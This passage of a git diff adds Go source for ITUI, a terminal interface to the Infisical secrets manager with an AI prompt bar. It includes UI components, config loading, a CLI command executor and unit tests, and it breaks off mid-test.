+ var b strings.Builder + + title := dTitleStyle.Render(m.OutputTitle) + b.WriteString(title) + b.WriteString("\n\n") + + if m.OutputIsError { + b.WriteString(dErrorStyle.Render(m.OutputContent)) + } else { + b.WriteString(dValueStyle.Render(m.OutputContent)) + } + + return b.String() +} + +func (m *DetailPaneModel) renderWelcome() string { + var b strings.Builder + + b.WriteString(dTitleStyle.Render("Welcome to ITUI")) + b.WriteString("\n\n") + b.WriteString(dValueStyle.Render("Infisical Terminal UI")) + b.WriteString("\n\n") + b.WriteString(dLabelStyle.Render("Get started:")) + b.WriteString("\n") + b.WriteString(fmt.Sprintf(" %s %s\n", dKeyStyle.Render("Ctrl+P"), "Focus AI prompt")) + b.WriteString(fmt.Sprintf(" %s %s\n", dKeyStyle.Render("Enter"), "View secret detail")) + b.WriteString(fmt.Sprintf(" %s %s\n", dKeyStyle.Render("e"), "Switch environment")) + b.WriteString(fmt.Sprintf(" %s %s\n", dKeyStyle.Render("n"), "Create new secret")) + b.WriteString(fmt.Sprintf(" %s %s\n", dKeyStyle.Render("?"), "Show all shortcuts")) + + return b.String() +} + +func (m DetailPaneModel) Update(msg tea.Msg) (DetailPaneModel, tea.Cmd) { + if !m.Active { + return m, nil + } + var cmd tea.Cmd + m.viewport, cmd = m.viewport.Update(msg) + return m, cmd +} + +func (m DetailPaneModel) View() string { + style := detailBorder + if m.Active { + style = detailActiveBorder + } + + if m.Width > 0 { + style = style.Width(m.Width - 2) + } + if m.Height > 0 { + style = style.Height(m.Height - 2) + } + + m.updateViewportContent() + return style.Render(m.viewport.View()) +} diff --git a/packages/itui/components/envpicker.go b/packages/itui/components/envpicker.go new file mode 100644 index 00000000..45ec45c8 --- /dev/null +++ b/packages/itui/components/envpicker.go @@ -0,0 +1,124 @@ +package components + +import ( + "fmt" + + "github.com/charmbracelet/bubbles/key" + tea "github.com/charmbracelet/bubbletea" + "github.com/charmbracelet/lipgloss" +) + +var ( + envPickerStyle = lipgloss.NewStyle(). + Border(lipgloss.DoubleBorder()). + BorderForeground(lipgloss.Color("#7C3AED")). + Padding(1, 2). + Width(40) + + envPickerTitle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#7C3AED")). + Bold(true) + + envItemStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#F9FAFB")). + Padding(0, 1) + + envSelectedStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#F9FAFB")). + Background(lipgloss.Color("#8B5CF6")). + Bold(true). + Padding(0, 1) + + envCurrentStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#10B981")) +) + +// EnvSelectedMsg is sent when an environment is selected +type EnvSelectedMsg struct { + Environment string +} + +type EnvPickerModel struct { + Visible bool + Environments []string + Current string + cursor int +} + +func NewEnvPicker() EnvPickerModel { + return EnvPickerModel{ + Environments: []string{"dev", "staging", "prod"}, + } +} + +func (m *EnvPickerModel) Show(current string, envs []string) { + m.Visible = true + m.Current = current + if len(envs) > 0 { + m.Environments = envs + } + m.cursor = 0 + for i, e := range m.Environments { + if e == current { + m.cursor = i + break + } + } +} + +func (m *EnvPickerModel) Hide() { + m.Visible = false +} + +func (m EnvPickerModel) Update(msg tea.Msg) (EnvPickerModel, tea.Cmd) { + if !m.Visible { + return m, nil + } + + switch msg := msg.(type) { + case tea.KeyMsg: + switch { + case key.Matches(msg, key.NewBinding(key.WithKeys("up", "k"))): + if m.cursor > 0 { + m.cursor-- + } + case key.Matches(msg, key.NewBinding(key.WithKeys("down", "j"))): + if m.cursor < len(m.Environments)-1 { + m.cursor++ + } + case key.Matches(msg, key.NewBinding(key.WithKeys("enter"))): + selected := m.Environments[m.cursor] + m.Visible = false + return m, func() tea.Msg { return EnvSelectedMsg{Environment: selected} } + case key.Matches(msg, key.NewBinding(key.WithKeys("esc"))): + m.Visible = false + } + } + + return m, nil +} + +func (m EnvPickerModel) View() string { + if !m.Visible { + return "" + } + + content := envPickerTitle.Render("Switch Environment") + "\n\n" + + for i, env := range m.Environments { + marker := " " + if env == m.Current { + marker = envCurrentStyle.Render("* ") + } + + if i == m.cursor { + content += fmt.Sprintf("%s%s\n", marker, envSelectedStyle.Render(env)) + } else { + content += fmt.Sprintf("%s%s\n", marker, envItemStyle.Render(env)) + } + } + + content += "\n" + lipgloss.NewStyle().Foreground(lipgloss.Color("#6B7280")).Render("Enter to select, Esc to cancel") + + return envPickerStyle.Render(content) +} diff --git a/packages/itui/components/help.go b/packages/itui/components/help.go new file mode 100644 index 00000000..4670511c --- /dev/null +++ b/packages/itui/components/help.go @@ -0,0 +1,151 @@ +package components + +import ( + "fmt" + + "github.com/charmbracelet/bubbles/key" + "github.com/charmbracelet/bubbles/viewport" + tea "github.com/charmbracelet/bubbletea" + "github.com/charmbracelet/lipgloss" +) + +var ( + helpModalStyle = lipgloss.NewStyle(). + Border(lipgloss.DoubleBorder()). + BorderForeground(lipgloss.Color("#7C3AED")). + Padding(1, 2). + Width(60) + + helpTitleStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#7C3AED")). + Bold(true) + + helpKeyBind = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#10B981")). + Bold(true). + Width(16) + + helpDescBind = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#F9FAFB")) + + helpSectionStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#F59E0B")). + Bold(true). + Padding(1, 0, 0, 0) +) + +type HelpModel struct { + Visible bool + viewport viewport.Model +} + +func NewHelp() HelpModel { + vp := viewport.New(56, 20) + vp.SetContent(helpContent()) + return HelpModel{ + viewport: vp, + } +} + +func (m *HelpModel) Show() { + m.Visible = true +} + +func (m *HelpModel) Hide() { + m.Visible = false +} + +func (m HelpModel) Update(msg tea.Msg) (HelpModel, tea.Cmd) { + if !m.Visible { + return m, nil + } + + switch msg := msg.(type) { + case tea.KeyMsg: + switch { + case key.Matches(msg, key.NewBinding(key.WithKeys("esc", "?", "q"))): + m.Visible = false + return m, nil + } + } + + var cmd tea.Cmd + m.viewport, cmd = m.viewport.Update(msg) + return m, cmd +} + +func (m HelpModel) View() string { + if !m.Visible { + return "" + } + + content := helpTitleStyle.Render("ITUI Keyboard Shortcuts") + "\n" + m.viewport.View() + "\n\n" + + lipgloss.NewStyle().Foreground(lipgloss.Color("#6B7280")).Render("Press Esc or ? to close") + + return helpModalStyle.Render(content) +} + +func helpContent() string { + sections := []struct { + title string + binds []struct{ key, desc string } + }{ + { + title: "Navigation", + binds: []struct{ key, desc string }{ + {"Tab / Shift+Tab", "Switch between panes"}, + {"Up / Down / j / k", "Navigate secret list"}, + {"Enter", "Select / expand secret"}, + {"Ctrl+P", "Focus AI prompt bar"}, + }, + }, + { + title: "Secrets", + binds: []struct{ key, desc string }{ + {"r", "Reveal / mask secret value"}, + {"n", "Create new secret"}, + {"d", "Delete selected secret"}, + {"e", "Switch environment"}, + {"/", "Search / filter secrets"}, + {"R", "Refresh secrets"}, + }, + }, + { + title: "AI Prompt", + binds: []struct{ key, desc string }{ + {"Ctrl+P", "Focus prompt bar"}, + {"Enter", "Send prompt / execute command"}, + {"Esc", "Cancel / clear prompt"}, + }, + }, + { + title: "General", + binds: []struct{ key, desc string }{ + {"?", "Toggle this help"}, + {"q / Ctrl+C", "Quit ITUI"}, + }, + }, + } + + var content string + for _, section := range sections { + content += helpSectionStyle.Render(section.title) + "\n" + for _, b := range section.binds { + content += fmt.Sprintf(" %s%s\n", helpKeyBind.Render(b.key), helpDescBind.Render(b.desc)) + } + } + + content += "\n" + helpSectionStyle.Render("Example AI Prompts") + "\n" + examples := []string{ + "show me all production secrets", + "set DATABASE_URL to postgres://... in staging", + "delete the old API key in dev", + "compare staging and prod secrets", + "export all dev secrets as .env", + } + for _, ex := range examples { + content += fmt.Sprintf(" %s\n", lipgloss.NewStyle().Foreground(lipgloss.Color("#C4B5FD")).Italic(true).Render("\""+ex+"\"")) + } + + return content +} diff --git a/packages/itui/components/promptbar.go b/packages/itui/components/promptbar.go new file mode 100644 index 00000000..2f199a42 --- /dev/null +++ b/packages/itui/components/promptbar.go @@ -0,0 +1,193 @@ +package components + +import ( + "fmt" + + "github.com/charmbracelet/bubbles/spinner" + "github.com/charmbracelet/bubbles/textinput" + tea "github.com/charmbracelet/bubbletea" + "github.com/charmbracelet/lipgloss" +) + +type PromptState int + +const ( + PromptStateIdle PromptState = iota + PromptStateInput + PromptStateLoading + PromptStatePreview +) + +var ( + promptBorder = lipgloss.NewStyle(). + Border(lipgloss.RoundedBorder()). + BorderForeground(lipgloss.Color("#374151")). + Padding(0, 1) + + promptActiveBorder = lipgloss.NewStyle(). + Border(lipgloss.RoundedBorder()). + BorderForeground(lipgloss.Color("#10B981")). + Padding(0, 1) + + promptPrefix = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#10B981")). + Bold(true) + + cmdPreviewStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#F59E0B")). + Italic(true) + + explanationStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#6B7280")) + + actionReadStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#10B981")) + + actionWriteStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#F59E0B")) + + actionDestructiveStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#EF4444")). + Bold(true) +) + +type PromptBarModel struct { + textInput textinput.Model + spinner spinner.Model + Active bool + State PromptState + Width int + + // Preview state + PreviewCommand string + PreviewExplanation string + PreviewActionType string + PreviewConfirm bool +} + +func NewPromptBar() PromptBarModel { + ti := textinput.New() + ti.Placeholder = "Ask about your secrets... (sent to Google Gemini — values are redacted)" + ti.CharLimit = 500 + ti.Prompt = "" + + s := spinner.New() + s.Spinner = spinner.Dot + s.Style = lipgloss.NewStyle().Foreground(lipgloss.Color("#7C3AED")) + + return PromptBarModel{ + textInput: ti, + spinner: s, + State: PromptStateIdle, + } +} + +func (m *PromptBarModel) Focus() { + m.Active = true + m.State = PromptStateInput + m.textInput.Focus() +} + +func (m *PromptBarModel) Blur() { + m.Active = false + m.State = PromptStateIdle + m.textInput.Blur() +} + +func (m *PromptBarModel) SetLoading() { + m.State = PromptStateLoading +} + +func (m *PromptBarModel) SetPreview(command, explanation, actionType string, requiresConfirm bool) { + m.State = PromptStatePreview + m.PreviewCommand = command + m.PreviewExplanation = explanation + m.PreviewActionType = actionType + m.PreviewConfirm = requiresConfirm +} + +func (m *PromptBarModel) Reset() { + m.textInput.SetValue("") + m.State = PromptStateInput + m.PreviewCommand = "" + m.PreviewExplanation = "" + m.PreviewActionType = "" + m.PreviewConfirm = false +} + +func (m *PromptBarModel) Value() string { + return m.textInput.Value() +} + +func (m *PromptBarModel) SetWidth(width int) { + m.Width = width + m.textInput.Width = width - 10 // account for border, padding, prefix +} + +func (m PromptBarModel) Update(msg tea.Msg) (PromptBarModel, tea.Cmd) { + var cmds []tea.Cmd + + if m.State == PromptStateLoading { + var cmd tea.Cmd + m.spinner, cmd = m.spinner.Update(msg) + cmds = append(cmds, cmd) + } + + if m.Active && (m.State == PromptStateInput || m.State == PromptStateIdle) { + var cmd tea.Cmd + m.textInput, cmd = m.textInput.Update(msg) + cmds = append(cmds, cmd) + } + + return m, tea.Batch(cmds...) +} + +func (m PromptBarModel) View() string { + style := promptBorder + if m.Active { + style = promptActiveBorder + } + + if m.Width > 0 { + style = style.Width(m.Width - 2) + } + + var content string + + switch m.State { + case PromptStateIdle: + content = fmt.Sprintf("%s %s", promptPrefix.Render("AI >"), m.textInput.View()) + case PromptStateInput: + content = fmt.Sprintf("%s %s", promptPrefix.Render("AI >"), m.textInput.View()) + case PromptStateLoading: + content = fmt.Sprintf("%s Thinking...", m.spinner.View()) + case PromptStatePreview: + actionStyle := actionReadStyle + switch m.PreviewActionType { + case "write": + actionStyle = actionWriteStyle + case "destructive": + actionStyle = actionDestructiveStyle + } + + line1 := fmt.Sprintf("%s %s %s", + promptPrefix.Render("AI >"), + explanationStyle.Render(m.PreviewExplanation), + actionStyle.Render("["+m.PreviewActionType+"]"), + ) + + line2 := fmt.Sprintf(" %s %s", + cmdPreviewStyle.Render("Will run:"), + cmdPreviewStyle.Render(m.PreviewCommand), + ) + + confirmHint := " Press Enter to execute, Esc to cancel" + if m.PreviewConfirm { + confirmHint = " Press y to confirm, Esc to cancel" + } + + content = line1 + "\n" + line2 + "\n" + explanationStyle.Render(confirmHint) + } + + return style.Render(content) +} diff --git a/packages/itui/components/secretbrowser.go b/packages/itui/components/secretbrowser.go new file mode 100644 index 00000000..1cc85bc9 --- /dev/null +++ b/packages/itui/components/secretbrowser.go @@ -0,0 +1,166 @@ +package components + +import ( + "fmt" + "io" + + "github.com/charmbracelet/bubbles/key" + "github.com/charmbracelet/bubbles/list" + tea "github.com/charmbracelet/bubbletea" + "github.com/charmbracelet/lipgloss" +) + +var ( + browserBorder = lipgloss.NewStyle(). + Border(lipgloss.RoundedBorder()). + BorderForeground(lipgloss.Color("#374151")). + Padding(0, 1) + + browserActiveBorder = lipgloss.NewStyle(). + Border(lipgloss.RoundedBorder()). + BorderForeground(lipgloss.Color("#7C3AED")). + Padding(0, 1) + + selectedItemStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#F9FAFB")). + Background(lipgloss.Color("#8B5CF6")). + Bold(true). + Padding(0, 1) + + normalItemStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#F9FAFB")). + Padding(0, 1) + + maskedStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#6B7280")) +) + +// SecretItem represents a secret in the list +type SecretItem struct { + KeyName string + Value string + Type string +} + +func (s SecretItem) FilterValue() string { return s.KeyName } + +// SecretItemDelegate renders secret items in the list +type SecretItemDelegate struct{} + +func (d SecretItemDelegate) Height() int { return 1 } +func (d SecretItemDelegate) Spacing() int { return 0 } +func (d SecretItemDelegate) Update(_ tea.Msg, _ *list.Model) tea.Cmd { return nil } + +func (d SecretItemDelegate) Render(w io.Writer, m list.Model, index int, listItem list.Item) { + item, ok := listItem.(SecretItem) + if !ok { + return + } + + masked := maskedStyle.Render("••••••••") + line := fmt.Sprintf("%s %s", item.KeyName, masked) + + if index == m.Index() { + line = selectedItemStyle.Render(fmt.Sprintf("▸ %s %s", item.KeyName, masked)) + } else { + line = normalItemStyle.Render(fmt.Sprintf(" %s %s", item.KeyName, masked)) + } + + fmt.Fprint(w, line) +} + +type SecretBrowserModel struct { + list list.Model + Active bool + Width int + Height int + Selected int +} + +func NewSecretBrowser() SecretBrowserModel { + delegate := SecretItemDelegate{} + l := list.New([]list.Item{}, delegate, 30, 10) + l.Title = "Secrets" + l.SetShowTitle(true) + l.SetShowStatusBar(false) + l.SetShowHelp(false) + l.SetFilteringEnabled(true) + l.Styles.Title = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#7C3AED")). + Bold(true). + Padding(0, 0, 1, 0) + + l.KeyMap = list.KeyMap{ + CursorUp: key.NewBinding(key.WithKeys("up", "k")), + CursorDown: key.NewBinding(key.WithKeys("down", "j")), + Filter: key.NewBinding(key.WithKeys("/")), + CancelWhileFiltering: key.NewBinding(key.WithKeys("esc")), + AcceptWhileFiltering: key.NewBinding(key.WithKeys("enter")), + ClearFilter: key.NewBinding(key.WithKeys("esc")), + } + + return SecretBrowserModel{ + list: l, + } +} + +func (m *SecretBrowserModel) SetSecrets(secrets []SecretItem) { + items := make([]list.Item, len(secrets)) + for i, s := range secrets { + items[i] = s + } + m.list.SetItems(items) +} + +func (m *SecretBrowserModel) SetSize(width, height int) { + m.Width = width + m.Height = height + // Account for border (2) and padding (2) + m.list.SetSize(width-4, height-4) +} + +func (m SecretBrowserModel) SelectedItem() (SecretItem, bool) { + item := m.list.SelectedItem() + if item == nil { + return SecretItem{}, false + } + si, ok := item.(SecretItem) + return si, ok +} + +func (m SecretBrowserModel) SelectedIndex() int { + return m.list.Index() +} + +func (m SecretBrowserModel) Update(msg tea.Msg) (SecretBrowserModel, tea.Cmd) { + if !m.Active { + return m, nil + } + var cmd tea.Cmd + m.list, cmd = m.list.Update(msg) + return m, cmd +} + +func (m SecretBrowserModel) View() string { + style := browserBorder + if m.Active { + style = browserActiveBorder + } + + if m.Width > 0 { + style = style.Width(m.Width - 2) // account for border + } + if m.Height > 0 { + style = style.Height(m.Height - 2) + } + + content := m.list.View() + if len(m.list.Items()) == 0 { + content = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#6B7280")). + Italic(true). + Render("No secrets found.\nPress 'n' to create one or use the AI prompt.") + } + + return style.Render(content) +} diff --git a/packages/itui/components/secretform.go b/packages/itui/components/secretform.go new file mode 100644 index 00000000..d3e3ec57 --- /dev/null +++ b/packages/itui/components/secretform.go @@ -0,0 +1,149 @@ +package components + +import ( + "fmt" + + "github.com/charmbracelet/bubbles/key" + "github.com/charmbracelet/bubbles/textinput" + tea "github.com/charmbracelet/bubbletea" + "github.com/charmbracelet/lipgloss" +) + +var ( + formStyle = lipgloss.NewStyle(). + Border(lipgloss.DoubleBorder()). + BorderForeground(lipgloss.Color("#7C3AED")). + Padding(1, 2). + Width(60) + + formTitleStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#7C3AED")). + Bold(true) + + formLabelStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#10B981")). + Bold(true). + Width(10) + + formHintStyle = lipgloss.NewStyle(). + Foreground(lipgloss.Color("#6B7280")) +) + +// SecretCreatedMsg is sent when a secret form is submitted +type SecretCreatedMsg struct { + Key string + Value string +} + +type SecretFormModel struct { + Visible bool + keyInput textinput.Model + valueInput textinput.Model + focusIndex int // 0 = key, 1 = value +} + +func NewSecretForm() SecretFormModel { + ki := textinput.New() + ki.Placeholder = "SECRET_KEY" + ki.CharLimit = 256 + ki.Prompt = "" + + vi := textinput.New() + vi.Placeholder = "secret_value" + vi.CharLimit = 4096 + vi.Prompt = "" + + return SecretFormModel{ + keyInput: ki, + valueInput: vi, + } +} + +func (m *SecretFormModel) Show() { + m.Visible = true + m.focusIndex = 0 + m.keyInput.SetValue("") + m.valueInput.SetValue("") + m.keyInput.Focus() + m.valueInput.Blur() +} + +func (m *SecretFormModel) Hide() { + m.Visible = false + m.keyInput.Blur() + m.valueInput.Blur() +} + +func (m SecretFormModel) Update(msg tea.Msg) (SecretFormModel, tea.Cmd) { + if !m.Visible { + return m, nil + } + + switch msg := msg.(type) { + case tea.KeyMsg: + switch { + case key.Matches(msg, key.NewBinding(key.WithKeys("esc"))): + m.Visible = false + return m, nil + case key.Matches(msg, key.NewBinding(key.WithKeys("tab"))): + if m.focusIndex == 0 { + m.focusIndex = 1 + m.keyInput.Blur() + m.valueInput.Focus() + } else { + m.focusIndex = 0 + m.valueInput.Blur() + m.keyInput.Focus() + } + return m, nil + case key.Matches(msg, key.NewBinding(key.WithKeys("enter"))): + if m.focusIndex == 0 { + // Move to value field + m.focusIndex = 1 + m.keyInput.Blur() + m.valueInput.Focus() + return m, nil + } + // Submit + k := m.keyInput.Value() + v := m.valueInput.Value() + if k != "" && v != "" { + m.Visible = false + return m, func() tea.Msg { + return SecretCreatedMsg{Key: k, Value: v} + } + } + return m, nil + } + } + + var cmds []tea.Cmd + var cmd tea.Cmd + + if m.focusIndex == 0 { + m.keyInput, cmd = m.keyInput.Update(msg) + cmds = append(cmds, cmd) + } else { + m.valueInput, cmd = m.valueInput.Update(msg) + cmds = append(cmds, cmd) + } + + return m, tea.Batch(cmds...) +} + +func (m SecretFormModel) View() string { + if !m.Visible { + return "" + } + + content := fmt.Sprintf("%s\n\n%s %s\n\n%s %s\n\n%s", + formTitleStyle.Render("Create New Secret"), + formLabelStyle.Render("Key:"), + m.keyInput.View(), + formLabelStyle.Render("Value:"), + m.valueInput.View(), + formHintStyle.Render("Tab to switch fields, Enter to submit, Esc to cancel"), + ) + + return formStyle.Render(content) +} diff --git a/packages/itui/context.go b/packages/itui/context.go new file mode 100644 index 00000000..067dab8c --- /dev/null +++ b/packages/itui/context.go @@ -0,0 +1,83 @@ +package itui + +import ( + "encoding/json" + "os" + "path/filepath" +) + +// infisicalConfig mirrors ~/.infisical/infisical-config.json +type infisicalConfig struct { + LoggedInUserEmail string `json:"loggedInUserEmail"` + LoggedInUserDomain string `json:"LoggedInUserDomain"` +} + +// workspaceConfig mirrors .infisical.json in the project directory +type workspaceConfig struct { + WorkspaceID string `json:"workspaceId"` + DefaultEnvironment string `json:"defaultEnvironment"` +} + +// LoadSessionContext loads the session context from config files +func LoadSessionContext() SessionContext { + ctx := SessionContext{ + Environment: "dev", + Path: "/", + Environments: []string{"dev", "staging", "prod"}, + } + + // Load user info from ~/.infisical/infisical-config.json + if cfg, err := loadInfisicalConfig(); err == nil { + ctx.UserEmail = cfg.LoggedInUserEmail + ctx.IsLoggedIn = cfg.LoggedInUserEmail != "" + } + + // Load workspace info from .infisical.json in cwd + if ws, err := loadWorkspaceConfig(); err == nil { + ctx.ProjectID = ws.WorkspaceID + if ws.DefaultEnvironment != "" { + ctx.Environment = ws.DefaultEnvironment + } + } + + // Try to get project name (we'll use the ProjectID for now) + if ctx.ProjectID != "" { + ctx.ProjectName = ctx.ProjectID + } + + return ctx +} + +func loadInfisicalConfig() (*infisicalConfig, error) { + homeDir, err := os.UserHomeDir() + if err != nil { + return nil, err + } + + configPath := filepath.Join(homeDir, ".infisical", "infisical-config.json") + data, err := os.ReadFile(configPath) + if err != nil { + return nil, err + } + + var cfg infisicalConfig + if err := json.Unmarshal(data, &cfg); err != nil { + return nil, err + } + + return &cfg, nil +} + +func loadWorkspaceConfig() (*workspaceConfig, error) { + data, err := os.ReadFile(".infisical.json") + if err != nil { + return nil, err + } + + var ws workspaceConfig + if err := json.Unmarshal(data, &ws); err != nil { + return nil, err + } + + return &ws, nil +} diff --git a/packages/itui/context_test.go b/packages/itui/context_test.go new file mode 100644 index 00000000..9a97c881 --- /dev/null +++ b/packages/itui/context_test.go @@ -0,0 +1,81 @@ +package itui + +import ( + "encoding/json" + "testing" +) + +func TestInfisicalConfigParsing(t *testing.T) { + input := `{"loggedInUserEmail":"test@example.com","LoggedInUserDomain":"https://app.infisical.com/api","loggedInUsers":[{"email":"test@example.com","domain":"https://app.infisical.com/api"}]}` + + var cfg infisicalConfig + err := json.Unmarshal([]byte(input), &cfg) + if err != nil { + t.Fatalf("failed to parse config: %v", err) + } + + if cfg.LoggedInUserEmail != "test@example.com" { + t.Errorf("expected test@example.com, got %s", cfg.LoggedInUserEmail) + } + if cfg.LoggedInUserDomain != "https://app.infisical.com/api" { + t.Errorf("unexpected domain: %s", cfg.LoggedInUserDomain) + } +} + +func TestWorkspaceConfigParsing(t *testing.T) { + input := `{"workspaceId":"ws-abc-123","defaultEnvironment":"staging"}` + + var ws workspaceConfig + err := json.Unmarshal([]byte(input), &ws) + if err != nil { + t.Fatalf("failed to parse workspace config: %v", err) + } + + if ws.WorkspaceID != "ws-abc-123" { + t.Errorf("expected ws-abc-123, got %s", ws.WorkspaceID) + } + if ws.DefaultEnvironment != "staging" { + t.Errorf("expected staging, got %s", ws.DefaultEnvironment) + } +} + +func TestWorkspaceConfigEmpty(t *testing.T) { + input := `{}` + + var ws workspaceConfig + err := json.Unmarshal([]byte(input), &ws) + if err != nil { + t.Fatalf("failed to parse empty config: %v", err) + } + + if ws.WorkspaceID != "" { + t.Errorf("expected empty workspace ID, got %s", ws.WorkspaceID) + } + if ws.DefaultEnvironment != "" { + t.Errorf("expected empty default env, got %s", ws.DefaultEnvironment) + } +} + +func TestSessionContextDefaults(t *testing.T) { + // LoadSessionContext should return sensible defaults even when files don't exist + // We can't easily test the full function without mocking the filesystem, + // but we can test the default initialization + ctx := SessionContext{ + Environment: "dev", + Path: "/", + Environments: []string{"dev", "staging", "prod"}, + } + + if ctx.Environment != "dev" { + t.Errorf("expected dev, got %s", ctx.Environment) + } + if ctx.Path != "/" { + t.Errorf("expected /, got %s", ctx.Path) + } + if len(ctx.Environments) != 3 { + t.Errorf("expected 3 environments, got %d", len(ctx.Environments)) + } + if ctx.IsLoggedIn { + t.Error("expected not logged in by default") + } +} diff --git a/packages/itui/executor.go b/packages/itui/executor.go new file mode 100644 index 00000000..a50c384e --- /dev/null +++ b/packages/itui/executor.go @@ -0,0 +1,150 @@ +package itui + +import ( + "bytes" + "encoding/json" + "fmt" + "os/exec" + "strings" + "time" +) + +// Executor wraps os/exec for running infisical CLI commands +type Executor struct { + binaryPath string +} + +// NewExecutor creates a new Executor that shells out to the infisical binary +func NewExecutor() *Executor { + path, err := exec.LookPath("infisical") + if err != nil { + path = "infisical" // fallback, will fail at runtime with clear error + } + return &Executor{binaryPath: path} +} + +// Run executes an infisical command with the given arguments +func (e *Executor) Run(args ...string) CommandResult { + start := time.Now() + + cmd := exec.Command(e.binaryPath, args...) + var stdout, stderr bytes.Buffer + cmd.Stdout = &stdout + cmd.Stderr = &stderr + + err := cmd.Run() + + return CommandResult{ + Command: e.binaryPath + " " + strings.Join(args, " "), + Stdout: stdout.String(), + Stderr: stderr.String(), + Error: err, + ExecTime: time.Since(start), + } +} + +// RunRaw executes a raw command string (from AI output). +// It validates the command against the allowlist and checks for shell injection +// before executing. +func (e *Executor) RunRaw(command string) CommandResult { + // Validate command before execution + if err := ValidateCommand(command); err != nil { + return CommandResult{ + Command: command, + Error: fmt.Errorf("security: %w", err), + Stderr: err.Error(), + } + } + + // Strip "infisical " prefix if present + command = strings.TrimSpace(command) + if strings.HasPrefix(command, "infisical ") { + command = strings.TrimPrefix(command, "infisical ") + } + + // Split into args, respecting quotes + args := splitArgs(command) + return e.Run(args...) +} + +// FetchSecrets retrieves secrets for the given environment and path +func (e *Executor) FetchSecrets(env, path string) ([]Secret, error) { + args := []string{"export", "--format=json", "--env=" + env} + if path != "" && path != "/" { + args = append(args, "--path="+path) + } + + result := e.Run(args...) + if result.Error != nil { + errMsg := result.Stderr + if errMsg == "" { + errMsg = result.Error.Error() + } + return nil, fmt.Errorf("%s", errMsg) + } + + stdout := strings.TrimSpace(result.Stdout) + if stdout == "" || stdout == "null" { + return []Secret{}, nil + } + + var secrets []Secret + if err := json.Unmarshal([]byte(stdout), &secrets); err != nil { + return nil, fmt.Errorf("failed to parse secrets JSON: %w\nRaw output: %s", err, stdout) + } + + return secrets, nil +} + +// CheckAuth checks if the user is logged in +func (e *Executor) CheckAuth() (email string, loggedIn bool) { + result := e.Run("user") + if result.Error != nil { + return "", false + } + // Parse output for email + for _, line := range strings.Split(result.Stdout, "\n") { + if strings.Contains(line, "email") || strings.Contains(line, "Email") { + parts := strings.SplitN(line, ":", 2) + if len(parts) == 2 { + return strings.TrimSpace(parts[1]), true + } + } + } + return "", result.Error == nil +} + +// splitArgs splits a command string into arguments, respecting quoted strings +func splitArgs(s string) []string { + var args []string + var current strings.Builder + inQuote := false + quoteChar := byte(0) + + for i := 0; i < len(s); i++ { + c := s[i] + if inQuote { + if c == quoteChar { + inQuote = false + } else { + current.WriteByte(c) + } + } else if c == '\'' || c == '"' { + inQuote = true + quoteChar = c + } else if c == ' ' || c == '\t' { + if current.Len() > 0 { + args = append(args, current.String()) + current.Reset() + } + } else { + current.WriteByte(c) + } + } + + if current.Len() > 0 { + args = append(args, current.String()) + } + + return args +} diff --git a/packages/itui/executor_test.go b/packages/itui/executor_test.go new file mode 100644 index 00000000..16113969 --- /dev/null +++ b/packages/itui/executor_test.go @@ -0,0 +1,132 @@ +package itui + +import ( + "encoding/json" + "testing" +) + +func TestParseSecretsJSON(t *testing.T) { + input := `[ + {"key":"DATABASE_URL","workspace":"ws-123","value":"postgres://localhost:5432/db","type":"shared","_id":"sec-1","secretPath":"/","tags":[],"comment":"Main DB"}, + {"key":"API_KEY","workspace":"ws-123","value":"sk-test-123","type":"shared","_id":"sec-2","secretPath":"/","tags":[],"comment":""} + ]` + + var secrets []Secret + err := json.Unmarshal([]byte(input), &secrets) + if err != nil { + t.Fatalf("failed to parse: %v", err) + } + + if len(secrets) != 2 { + t.Fatalf("expected 2 secrets, got %d", len(secrets)) + } + + if secrets[0].Key != "DATABASE_URL" { + t.Errorf("expected DATABASE_URL, got %s", secrets[0].Key) + } + if secrets[0].Value != "postgres://localhost:5432/db" { + t.Errorf("unexpected value: %s", secrets[0].Value) + } + if secrets[0].Type != "shared" { + t.Errorf("expected shared, got %s", secrets[0].Type) + } + if secrets[0].Comment != "Main DB" { + t.Errorf("expected 'Main DB', got '%s'", secrets[0].Comment) + } + + if secrets[1].Key != "API_KEY" { + t.Errorf("expected API_KEY, got %s", secrets[1].Key) + } +} + +func TestParseSecretsEmptyArray(t *testing.T) { + var secrets []Secret + err := json.Unmarshal([]byte("[]"), &secrets) + if err != nil { + t.Fatalf("failed to parse empty array: %v", err) + } + if len(secrets) != 0 { + t.Errorf("expected 0 secrets, got %d", len(secrets)) + } +} + +func TestParseSecretsNull(t *testing.T) { + // infisical export outputs "null" for empty projects + var secrets []Secret + err := json.Unmarshal([]byte("null"), &secrets) + if err != nil { + t.Fatalf("failed to parse null: %v", err) + } + if secrets != nil { + t.Logf("null unmarshals to nil slice, which is expected") + } +} + +func TestParseSecretsMalformedJSON(t *testing.T) { + var secrets []Secret + err := json.Unmarshal([]byte("not json at all"), &secrets) + if err == nil { + t.Error("expected error for malformed JSON") + } +} + +func TestSplitArgs(t *testing.T) { + tests := []struct { + input string + expected []string + }{ + { + input: "secrets set KEY=value --env=dev", + expected: []string{"secrets", "set", "KEY=value", "--env=dev"}, + }, + { + input: "secrets set KEY='value with spaces' --env=dev", + expected: []string{"secrets", "set", "KEY=value with spaces", "--env=dev"}, + }, + { + input: `secrets set KEY="another value" --env=prod`, + expected: []string{"secrets", "set", "KEY=another value", "--env=prod"}, + }, + { + input: "export --format=json --env=staging", + expected: []string{"export", "--format=json", "--env=staging"}, 